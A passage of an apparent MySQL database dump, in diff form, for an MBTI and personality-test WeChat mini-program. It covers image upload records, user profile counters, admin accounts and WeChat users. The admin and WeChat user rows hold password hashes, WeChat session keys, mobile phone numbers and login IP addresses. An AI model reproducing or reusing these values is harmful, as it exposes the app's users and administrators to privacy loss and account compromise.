'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04924b36.48351571.jpg', 'oss', '1573210c9170e713bb8787a0c66b8495', 123427, 'image/jpeg', 'jpg', 1773219333, 1773219333); +INSERT INTO `mbti_upload_files` VALUES (82, 'mbti/20260311/img_69b12e049f74d0.23514689.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e049f74d0.23514689.jpg', 'oss', 'bafbc654e74c6a8ce82ad9fa8cca8363', 125148, 'image/jpeg', 'jpg', 1773219333, 1773219333); +INSERT INTO `mbti_upload_files` VALUES (83, 'mbti/20260311/img_69b12e17e48f79.80563960.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e48f79.80563960.jpg', 'oss', '0027b5729ea7282f8bd98574e9389349', 120208, 'image/jpeg', 'jpg', 1773219352, 1773219352); +INSERT INTO `mbti_upload_files` VALUES (84, 'mbti/20260311/img_69b12e17e5b252.86311668.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e5b252.86311668.jpg', 'oss', '506ea02dafe435552668874c1d7c0c65', 129913, 'image/jpeg', 'jpg', 1773219352, 1773219352); +INSERT INTO `mbti_upload_files` VALUES (85, 'mbti/20260311/img_69b12e1826fc05.57970226.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e1826fc05.57970226.jpg', 'oss', 'd121680da07428ec87db54b9b81d9b35', 127374, 'image/jpeg', 'jpg', 1773219353, 1773219353); +INSERT INTO `mbti_upload_files` VALUES (86, 'mbti/20260311/img_69b13ab171e520.51202929.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab171e520.51202929.jpg', 'oss', 'e39c576e6239becee2b333bfb05b7a7a', 146000, 'image/jpeg', 'jpg', 1773222577, 1773222577); +INSERT INTO `mbti_upload_files` VALUES (87, 'mbti/20260311/img_69b13ab163f450.57707298.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab163f450.57707298.jpg', 'oss', 'dc932dc407a57f3b334b8930981ca537', 153759, 'image/jpeg', 'jpg', 1773222577, 1773222577); +INSERT INTO `mbti_upload_files` VALUES (88, 'mbti/20260311/img_69b13ab1747880.84872798.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab1747880.84872798.jpg', 'oss', '51a4325ac73792a03e67c100267fe425', 178084, 'image/jpeg', 'jpg', 1773222577, 1773222577); +INSERT INTO `mbti_upload_files` VALUES (89, 'mbti/20260311/img_69b14dc8538c07.76208125.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8538c07.76208125.jpg', 'oss', '40a5eb10010afa4da9b55be7856b6b2f', 170198, 'image/jpeg', 'jpg', 1773227464, 1773227464); +INSERT INTO `mbti_upload_files` VALUES (90, 'mbti/20260311/img_69b14dc8575d08.12155284.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8575d08.12155284.jpg', 'oss', '981a3f4809a522a3905fcd37271e955d', 167458, 'image/jpeg', 'jpg', 1773227464, 1773227464); +INSERT INTO `mbti_upload_files` VALUES (91, 'mbti/20260311/img_69b14dc853fc54.58224611.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc853fc54.58224611.jpg', 'oss', 'c09ab1ab078d40810cebac61787d35fb', 164566, 'image/jpeg', 'jpg', 1773227465, 1773227465); +INSERT INTO `mbti_upload_files` VALUES (92, 'mbti/20260311/img_69b14e40ae20b9.53607517.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14e40ae20b9.53607517.jpg', 'oss', '8ddbe41959187eb360aea40e98d81ef9', 4389, 'image/jpeg', 'jpg', 1773227584, 1773227584); +INSERT INTO `mbti_upload_files` VALUES (93, 'mbti/20260311/img_69b14f4a44cf41.09820406.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14f4a44cf41.09820406.jpg', 'oss', '0a3d1afe8ab13d4e34f955003ca8c7d4', 69706, 'image/jpeg', 'jpg', 1773227850, 1773227850); +INSERT INTO `mbti_upload_files` VALUES (94, 'mbti/20260311/img_69b14fe6e4e8e8.79302362.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6e4e8e8.79302362.jpg', 'oss', '2d49facb79942ed6098b165496bcf475', 115505, 'image/jpeg', 'jpg', 1773228007, 1773228007); +INSERT INTO `mbti_upload_files` VALUES (95, 'mbti/20260311/img_69b14fe6effb19.11783053.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6effb19.11783053.jpg', 'oss', 'b3651bcc0238b373bac9184d3a7e64fd', 121426, 'image/jpeg', 'jpg', 1773228007, 1773228007); +INSERT INTO `mbti_upload_files` VALUES (96, 'mbti/20260311/img_69b14fe704cf56.15509327.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe704cf56.15509327.jpg', 'oss', '4900f43385f32594e0542aeaa0e45be4', 122027, 'image/jpeg', 'jpg', 1773228008, 1773228008); +INSERT INTO `mbti_upload_files` VALUES (97, 'mbti/20260311/img_69b15028cc9d67.04689669.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028cc9d67.04689669.jpg', 'oss', 'b1e800a3a795935069b4ab1a31917c29', 122984, 'image/jpeg', 'jpg', 1773228073, 1773228073); +INSERT INTO `mbti_upload_files` VALUES (98, 'mbti/20260311/img_69b15028ccd066.43636225.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ccd066.43636225.jpg', 'oss', '6f158bcea443e18cfd3310c76a50a436', 120914, 'image/jpeg', 'jpg', 1773228073, 1773228073); +INSERT INTO `mbti_upload_files` VALUES (99, 'mbti/20260311/img_69b15028ce1643.64175223.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ce1643.64175223.jpg', 'oss', 'fc7c66436b4a6951db2c651d9c2324a7', 120377, 'image/jpeg', 'jpg', 1773228073, 1773228073); +INSERT INTO `mbti_upload_files` VALUES (100, 'mbti/20260311/img_69b1516bac84a6.20264714.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bac84a6.20264714.jpg', 'oss', '112209e613570cda5e0320f04ef0e4fd', 153274, 'image/jpeg', 'jpg', 1773228395, 1773228395); +INSERT INTO `mbti_upload_files` VALUES (101, 'mbti/20260311/img_69b1516ba4bf30.72712934.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516ba4bf30.72712934.jpg', 'oss', '3b1d0c359ac4e578b722d8010009e033', 153680, 'image/jpeg', 'jpg', 1773228396, 1773228396); +INSERT INTO `mbti_upload_files` VALUES (102, 'mbti/20260311/img_69b1516bb5a282.82864273.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bb5a282.82864273.jpg', 'oss', 'd2817f45e62023d426af5e1a869ba2b7', 151364, 'image/jpeg', 'jpg', 1773228396, 1773228396); +INSERT INTO `mbti_upload_files` VALUES (103, 'mbti/20260311/img_69b151a3f3c0b5.68589567.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3f3c0b5.68589567.jpg', 'oss', '134dd68939a27b2a1d973ef9960cce40', 166121, 'image/jpeg', 'jpg', 1773228452, 1773228452); +INSERT INTO `mbti_upload_files` VALUES (104, 'mbti/20260311/img_69b151a3ed78b1.95279640.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3ed78b1.95279640.jpg', 'oss', '502b8440cd6bccce64d5058e10ff194d', 165584, 'image/jpeg', 'jpg', 1773228452, 1773228452); +INSERT INTO `mbti_upload_files` VALUES (105, 'mbti/20260311/img_69b151a3eba629.60383383.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3eba629.60383383.jpg', 'oss', 'daccbd84b40e644769025d9e69277ade', 169727, 'image/jpeg', 'jpg', 1773228452, 1773228452); +INSERT INTO `mbti_upload_files` VALUES (106, 'mbti/20260311/img_69b152a11237f1.79404762.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a11237f1.79404762.jpg', 'oss', '766dc74560baf9a631b9cb4fca87b45b', 147954, 'image/jpeg', 'jpg', 1773228705, 1773228705); +INSERT INTO `mbti_upload_files` VALUES (107, 'mbti/20260311/img_69b152a0eb0481.53858657.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0eb0481.53858657.jpg', 'oss', '4f7d7b697ae8525e9dc6ea62c55efb18', 165695, 'image/jpeg', 'jpg', 1773228705, 1773228705); +INSERT INTO `mbti_upload_files` VALUES (108, 'mbti/20260311/img_69b152a0f32570.64051638.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0f32570.64051638.jpg', 'oss', 'efd29da39c44fe96d4da9ed8dce04c15', 139846, 'image/jpeg', 'jpg', 1773228705, 1773228705); +INSERT INTO `mbti_upload_files` VALUES (109, 'mbti/20260311/img_69b152e6decb88.39454837.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6decb88.39454837.jpg', 'oss', 'f45c70d40e294276e6d75d59f80713cf', 137357, 'image/jpeg', 'jpg', 1773228775, 1773228775); +INSERT INTO `mbti_upload_files` VALUES (110, 'mbti/20260311/img_69b152e6db9b37.88275148.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6db9b37.88275148.jpg', 'oss', '1cbd694fd6fc4db365e90aceff1bd2ec', 142606, 'image/jpeg', 'jpg', 1773228775, 1773228775); +INSERT INTO `mbti_upload_files` VALUES (111, 'mbti/20260311/img_69b152e703d9a8.06342422.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e703d9a8.06342422.jpg', 'oss', '03a098f6452fcda2eb2ba3c29e48e6df', 143220, 'image/jpeg', 'jpg', 1773228776, 1773228776); +INSERT INTO `mbti_upload_files` VALUES (112, 'mbti/20260311/img_69b15315631506.55875786.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg', 'oss', 'e83a0884339d6d67b51d5030b054d1e2', 141736, 'image/jpeg', 'jpg', 1773228821, 1773228821); +INSERT INTO `mbti_upload_files` VALUES (113, 'mbti/20260311/img_69b1531561a0f3.94016134.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg', 'oss', 'dae5b4f398f6823f7a5b17ce8e68cf4a', 144489, 'image/jpeg', 'jpg', 1773228821, 1773228821); +INSERT INTO `mbti_upload_files` VALUES (114, 'mbti/20260311/img_69b15315672be1.56231716.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg', 'oss', '3c8e1402536090a7a7af53c319827af2', 145189, 'image/jpeg', 'jpg', 1773228821, 1773228821); +INSERT INTO `mbti_upload_files` VALUES (115, 'mbti/20260311/img_69b155d8915338.23978756.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d8915338.23978756.jpg', 'oss', 'c85bfb87be8e713e6d4901b49990dd84', 107481, 'image/jpeg', 'jpg', 1773229528, 1773229528); +INSERT INTO `mbti_upload_files` VALUES (116, 'mbti/20260311/img_69b155d893f2e8.01394899.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d893f2e8.01394899.jpg', 'oss', 'f0affa39c3e9f8404d7dbe1eda413587', 110855, 'image/jpeg', 'jpg', 1773229528, 1773229528); +INSERT INTO `mbti_upload_files` VALUES (117, 'mbti/20260311/img_69b155d889b1d6.05067740.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b155d889b1d6.05067740.jpg', 'oss', '942e00dc9c6607ead97bb4fa82561b68', 108801, 'image/jpeg', 'jpg', 1773229529, 1773229529); +INSERT INTO `mbti_upload_files` VALUES (118, 'mbti/20260311/img_69b15686bcc486.40018861.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686bcc486.40018861.jpg', 'oss', 'af18e79958b5945a0382f17bdbcd5bb4', 152343, 'image/jpeg', 'jpg', 1773229703, 1773229703); +INSERT INTO `mbti_upload_files` VALUES (119, 'mbti/20260311/img_69b15686c108a2.00278153.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c108a2.00278153.jpg', 'oss', 'fea1cd75a030626a5ae1657e4725ed03', 152558, 'image/jpeg', 'jpg', 1773229702, 1773229702); +INSERT INTO `mbti_upload_files` VALUES (120, 'mbti/20260311/img_69b15686c72c85.43050844.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15686c72c85.43050844.jpg', 'oss', 'b2a9575f583d16eb4be4b1f8bbc4afcf', 152875, 'image/jpeg', 'jpg', 1773229703, 1773229703); +INSERT INTO `mbti_upload_files` VALUES (121, 'mbti/20260312/img_69b22c5b77dd72.66364633.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22c5b77dd72.66364633.png', 'oss', '34b020b7c4e4bbbb28511c418d973c29', 1387582, 'image/png', 'png', 1773284445, 1773284445); +INSERT INTO `mbti_upload_files` VALUES (122, 'mbti/20260312/img_69b22d71b312f8.14596541.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22d71b312f8.14596541.png', 'oss', '89cf37046fb115e47fe41d1038b47126', 1078792, 'image/png', 'png', 1773284723, 1773284723); +INSERT INTO `mbti_upload_files` VALUES (123, 'mbti/20260312/img_69b22d78d52b94.76297015.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22d78d52b94.76297015.png', 'oss', 'b67f6ac1003bb0b86e818e3f5432bcc6', 1582821, 'image/png', 'png', 1773284731, 1773284731); + +-- ---------------------------- +-- Table structure for mbti_user_profile +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_user_profile`; +CREATE TABLE `mbti_user_profile` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '主键ID', + `userId` int(11) NOT NULL COMMENT '用户ID(关联总用户表主键)', + `userType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT 'personal' COMMENT '用户类型: personal个人 / enterprise企业', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业用户所属企业,个人为空)', + `testsTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总测试次数(所有类型之和)', + `testsMbti` int(11) NOT NULL DEFAULT 0 COMMENT 'MBTI测试次数', + `testsDisc` int(11) NOT NULL DEFAULT 0 COMMENT 'DISC测试次数', + `testsPdp` int(11) NOT NULL DEFAULT 0 COMMENT 'PDP测试次数', + `testsFace` int(11) NOT NULL DEFAULT 0 COMMENT 'AI面相测试次数', + `ordersTotal` int(11) NOT NULL DEFAULT 0 COMMENT '总订单数', + `paidOrders` int(11) NOT NULL DEFAULT 0 COMMENT '已付款订单数', + `totalPaidAmount` int(11) NOT NULL DEFAULT 0 COMMENT '总支付金额(分)', + `lastTestResultId` int(11) NULL DEFAULT NULL COMMENT '最近一条测试结果ID(mbti_test_results.id)', + `lastTestType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '最近测试类型: mbti/disc/pdp/face/ai', + `lastTestAt` int(11) NULL DEFAULT NULL COMMENT '最近测试时间', + `lastMbtiResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次MBTI结果ID', + `lastDiscResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次DISC结果ID', + `lastPdpResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次PDP结果ID', + `lastFaceResultId` int(11) NULL DEFAULT NULL COMMENT '最近一次AI面相结果ID', + `createdAt` int(11) NOT NULL DEFAULT 0 COMMENT '创建时间', + `updatedAt` int(11) NOT NULL DEFAULT 0 COMMENT '更新时间', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `uk_user`(`userId`, `userType`, `enterpriseId`) USING BTREE, + INDEX `idx_enterprise`(`enterpriseId`) USING BTREE, + INDEX `idx_lastTestAt`(`lastTestAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '用户画像汇总表(个人+企业,含最近测试结果ID)' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_user_profile +-- ---------------------------- +INSERT INTO `mbti_user_profile` VALUES (1, 1, 'personal', NULL, 28, 3, 4, 3, 18, 10, 10, 10, 73, 'face', 1772779082, 67, 69, 68, 73, 1772164861, 1773212497); +INSERT INTO `mbti_user_profile` VALUES (2, 1, 'enterprise', 5, 24, 1, 0, 3, 20, 0, 0, 0, 86, 'face', 1773042949, 71, NULL, 85, 86, 1772246018, 1773042949); +INSERT INTO `mbti_user_profile` VALUES (3, 6, 'personal', NULL, 5, 1, 0, 0, 4, 0, 0, 0, 100, 'face', 1773130960, 50, NULL, NULL, 100, 1772422915, 1773130960); +INSERT INTO `mbti_user_profile` VALUES (4, 7, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 51, 'face', 1772428086, NULL, NULL, NULL, 51, 1772428086, 1772428086); +INSERT INTO `mbti_user_profile` VALUES (5, 1, 'enterprise', 6, 32, 1, 4, 1, 19, 0, 0, 0, 145, 'face', 1773286899, 89, 103, 90, 145, 1772518933, 1773286899); +INSERT INTO `mbti_user_profile` VALUES (6, 12, 'personal', NULL, 4, 0, 0, 0, 4, 0, 0, 0, 59, 'face', 1772535779, NULL, NULL, NULL, 59, 1772535666, 1772535779); +INSERT INTO `mbti_user_profile` VALUES (7, 26, 'personal', NULL, 3, 0, 0, 0, 3, 0, 0, 0, 107, 'face', 1773137428, NULL, NULL, NULL, 107, 1773133602, 1773137428); +INSERT INTO `mbti_user_profile` VALUES (8, 28, 'personal', NULL, 3, 0, 0, 0, 3, 0, 0, 0, 116, 'face', 1773218176, NULL, NULL, NULL, 116, 1773218013, 1773218176); +INSERT INTO `mbti_user_profile` VALUES (9, 29, 'personal', NULL, 2, 0, 0, 0, 2, 0, 0, 0, 120, 'face', 1773219347, NULL, NULL, NULL, 120, 1773218860, 1773219347); +INSERT INTO `mbti_user_profile` VALUES (10, 31, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 121, 'face', 1773219366, NULL, NULL, NULL, 121, 1773219366, 1773219366); +INSERT INTO `mbti_user_profile` VALUES (11, 32, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 123, 'face', 1773222595, NULL, NULL, NULL, 123, 1773222595, 1773222595); +INSERT INTO `mbti_user_profile` VALUES (12, 33, 'personal', NULL, 6, 0, 0, 0, 6, 0, 0, 0, 134, 'face', 1773228837, NULL, NULL, NULL, 134, 1773227480, 1773228837); +INSERT INTO `mbti_user_profile` VALUES (13, 35, 'personal', NULL, 3, 1, 0, 0, 2, 0, 0, 0, 132, 'mbti', 1773228717, 132, NULL, NULL, 130, 1773227875, 1773228717); +INSERT INTO `mbti_user_profile` VALUES (14, 24, 'personal', NULL, 2, 0, 0, 0, 2, 0, 0, 0, 127, 'face', 1773228086, NULL, NULL, NULL, 127, 1773228025, 1773228086); +INSERT INTO `mbti_user_profile` VALUES (15, 36, 'personal', NULL, 1, 0, 0, 0, 1, 0, 0, 0, 135, 'face', 1773229546, NULL, NULL, NULL, 135, 1773229546, 1773229546); +INSERT INTO `mbti_user_profile` VALUES (16, 37, 'personal', NULL, 2, 1, 0, 0, 1, 0, 0, 0, 137, 'mbti', 1773229852, 137, NULL, NULL, 136, 1773229714, 1773229852); + +-- ---------------------------- +-- Table structure for mbti_users +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_users`; +CREATE TABLE `mbti_users` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID', + `username` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '用户名', + `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '密码(加密)', + `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号', + `email` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '邮箱', + `role` enum('enterprise_admin','admin','superadmin') CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '角色:enterprise_admin企业管理员/admin普通管理员/superadmin超级管理员', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `mbtiType` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MBTI类型', + `region` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '地区', + `industry` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '行业', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用', + `lastLoginTime` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)', + `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录IP', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `username`(`username`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_role`(`role`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_lastLoginTime`(`lastLoginTime`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 4 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '管理员用户表(仅存储管理员和超管)' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_users +-- ---------------------------- +INSERT INTO `mbti_users` VALUES (1, 'admin', '$2y$10$9866aQMzPwSUrseZE8ltPeTB.5g17iVgJqN7yJBtiwTj6xst/.6Wy', NULL, NULL, 'superadmin', NULL, NULL, NULL, NULL, 1, 1773127322, '222.76.193.38', NULL, 1770877583, 1773127322); +INSERT INTO `mbti_users` VALUES (2, 'ckb', '$2y$10$9866aQMzPwSUrseZE8ltPeTB.5g17iVgJqN7yJBtiwTj6xst/.6Wy', '18888888888', 'ckb@qq.com', 'enterprise_admin', 5, NULL, NULL, NULL, 1, 1773227933, '222.76.193.38', NULL, 1770878340, 1773227933); +INSERT INTO `mbti_users` VALUES (3, 'test', '$2y$10$mCHe8NX/F48peF3CjPuowu4R0wB7I91I3xE1RLQv.p5dCt6Z7paYG', '', '', 'enterprise_admin', 6, NULL, NULL, NULL, 1, 1773132555, '192.168.1.22', NULL, 1772174277, 1773132555); + +-- ---------------------------- +-- Table structure for mbti_wechat_users +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_wechat_users`; +CREATE TABLE `mbti_wechat_users` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '用户ID', + `openid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '微信 openid', + `unionid` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信 unionid(开放平台)', + `sessionKey` varchar(128) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '会话密钥', + `nickname` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '昵称', + `avatar` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '头像 URL', + `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号', + `gender` tinyint(1) NULL DEFAULT 0 COMMENT '性别:0未知 1男 2女', + `country` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '国家', + `province` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '省份', + `city` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '城市', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常 0禁用', + `lastLoginAt` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)', + `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录 IP', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '当前绑定企业ID:通过企业分享测试链接进入时更新,个人分享不更新', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `walletBalance` int(11) NOT NULL DEFAULT 0 COMMENT '钱包余额(分)', + `walletTotalEarned` int(11) NOT NULL DEFAULT 0 COMMENT '历史累计佣金(分)', + `walletPending` int(11) NOT NULL DEFAULT 0 COMMENT '待入账佣金(分)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_openid`(`openid`) USING BTREE, + INDEX `idx_unionid`(`unionid`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_lastLoginAt`(`lastLoginAt`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 42 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '微信小程序用户表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_wechat_users +-- ---------------------------- +INSERT INTO `mbti_wechat_users` VALUES (1, 'oucCB1-ZVIkM-ZfN1L2556LQ4nw0', NULL, 'C0UlsErBrD74oAaBiqbHzQ==', 'wong', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260213/img_698ed0486ea5c6.35014889.jpeg', '18649947301', 0, NULL, NULL, NULL, 1, 1773306690, '192.168.1.22', 6, 1770964161, 1773306690, 9400, 10000, 0); +INSERT INTO `mbti_wechat_users` VALUES (2, 'oucCB149wurgAL6QNW7ryIDq3yKk', NULL, '8I8CeS/3kT7eGwPw+uHW9g==', NULL, NULL, '18924071446', 0, NULL, NULL, NULL, 1, 1773287158, '124.220.124.244', NULL, 1772421720, 1773287182, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (3, 'oucCB13ZKUnsRaYlQssbwTPhVd4M', NULL, 'l3Mpv7KAiY010VFaqRkBhw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772421723, '124.221.213.176', NULL, 1772421723, 1772421723, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (4, 'oucCB15QnGvXVsH3lM4f9VGM3qqM', NULL, 'zlkw6DhwWn8Cjt1r5YDb/w==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773287158, '124.221.213.176', NULL, 1772421723, 1773287158, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (5, 'oucCB138gzETJPvifeLNMzJF6pWo', NULL, 'p2+DgeFte4tyJNY5xu5Y0Q==', NULL, 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a5027b019460.49988894.png', NULL, 0, NULL, NULL, NULL, 1, 1772421759, '119.84.150.100', NULL, 1772421729, 1772421759, 0, 0, 0); +INSERT INTO `mbti_wechat_users` VALUES (6, 'oucCB15WDKCdwfNo-fpyS72iY5IQ--', NULL, '3Z7XoZZOuXsFCAeOM2ZaaQ==', '少年梦想家', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc8ceabbea7.94372759.jpeg', '13110806007', 0, NULL, NULL, NULL, 1, 1773130511, '222.76.193.38', NULL, 1772422831, 1773286899, 2620, 2620, 0); +INSERT INTO `mbti_wechat_users` VALUES (7, 'oucCB1_5bbtQ81rUGzlFAe26QYJM', NULL, 